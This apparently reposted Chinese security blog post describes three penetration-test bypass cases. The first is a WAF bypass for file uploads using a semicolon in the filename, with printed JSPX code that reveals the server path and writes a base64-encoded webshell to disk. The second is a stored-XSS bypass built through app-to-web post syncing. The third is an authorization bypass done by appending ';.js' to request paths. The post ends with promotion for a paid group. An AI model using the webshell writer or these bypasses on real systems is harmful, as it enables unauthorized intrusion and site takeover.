三个bypass案例分享
2024-2-23 23:56:21 Author: mp.weixin.qq.com(查看原文) 阅读量:10 收藏

首发:土司论坛

案例1 文件上传

waf  bypass内容校验+后缀校验 

已具备条件:上传处可上传任意类型的文件,但是平台存在waf,直接上传会被拦截

bypass后缀校验

利用原理:

利用服务器解析rfc和waf解析rfc的差异性进行bypass。

waf解析的rfc格式为获取所有filename字段内容

因此利用;

分割符号使服务器的rfc解析获取到的为jspx 

而waf获取的为.jspx;即可绕过 

因为服务器组件解析获取到;时会停止解析后面的内容 

同理以前过某服的waf 也是同样的这个原理 

格式:

filename=1.jsp
z
c

案例如下:

正常传一个jpg


改为后缀为jsp 直接被拦



双写filename 先将filename="1.txt"放在后面看看waf是怎样获取格式的 发觉被拦截


放在前面 且删除双引号 也是被拦截


尝试将其均改为txt 可进行上传 

因此猜测 

waf是直接获取的所有的filename字段,然后取后缀是否为jsp或者jspx

即判断是否为wenshell的后缀,且跟双引号无关


因此猜测利用jspx;

这种方式时waf取的后缀为jspx;

进行尝试 与猜测中相同 

直接bypass后缀校验


内容绕过: 

这个案例倒不是我写的了  这个目标站的具体图没有了

之前在先知里面看到的一种手法,这里也是利用其进行绕掉了 上传jspx 然后访问获取绝对路径,这里的test.jsp改为服务器已经存在的

  1. jspx

<hi xmlns:hi="http://java.sun.com/JSP/Page">
    <hi:scriptlet>
        String path = application.getRealPath("test.jsp");
        out.println(path);
    </hi:scriptlet>
</hi>

获取到绝对路径后 

在利用 上传上去后 如test.jspx?x=6base64编码的webshell 根据waf强度自己改多少次base64 下面这个写马

<hi xmlns:hi="http://java.sun.com/JSP/Page">
    <hi:directive.page import="java.util.Base64,java.io.*"/>
    <hi:scriptlet>
        File file = new File("绝对路径+webshell的名字");
        FileWriter fileOut = new FileWriter(file);
        Base64.Decoder base64 = Base64.getDecoder();
        byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8")))))));
        try {
            fileOut.write(new String(str, "utf-8"));
            out.println("写入成功");
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (fileOut != null) {
                    fileOut.close();
                }
        } catch (Exception e) {
                e.printStackTrace();
            }
        }
    </hi:scriptlet>
</hi>

最后也是成功写入,成功获取webshell

案例2 存储xss bypass

apk+论坛联动+unicode编码未禁用导致存储xss bypass

产生原理:

  1. app中过滤禁用了事件属性,但是没禁用标签 

  2. 手机apk的数据会同步到web网站数据中

  3. web网站中 实体编码了标签,但是没禁用事件属性,如onerror等事件属性,且实体unicode编码未禁用 进而组合可进行绕过

具体案例如下:

①手机app发一个帖子

②web网站中 

找到刚才同步过去的帖子点击进行编辑


编辑输入实体编码 如下


然后点击发布即可 弹弹弹 弹走鱼尾纹


案例3 权限校验绕过

;符号绕过鉴权

原理:requesturi+endswith进行鉴权判断,进而导致权限被绕过

由于requesturi获取路由会把所有的路由均取进来因此可能会导致绕过


具体案例如下: 

找了一圈有图的,找了个审计的 

这个是审计出的,也有存黑盒绕过出了的 但是因为图片缺少的原因 

所以还是采用这个给大家分享

分享这个案例的原因是因为 结合这个案例 

我们在对java语言项目做渗透测试的时候


有时候可以考虑在.do或者.action 或者.jsp后面添加;.js或者;.css这种路径 

说不定会产生不一样的惊喜 

当然啦 ../../+js路由这种手法和//这两种也可以进行测试 也有可能遇到不一样的惊喜

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放

往期回顾

xss研究笔记

SSRF研究笔记

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

福利视频

笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,基础视频总共约200多集,目前已经录制完毕,后续还有更多视频出品

https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374

技术交流

技术交流请加笔者微信:richardo1o1 (暗号:growing)


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247493611&idx=1&sn=3cdccb4948fc091a306db0a5e23e24db&chksm=e8a5ed88dfd2649e5bf882c7be39cfdc6be53ca3f9dbfbe41a2848fa0006688d656a5a90c214&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh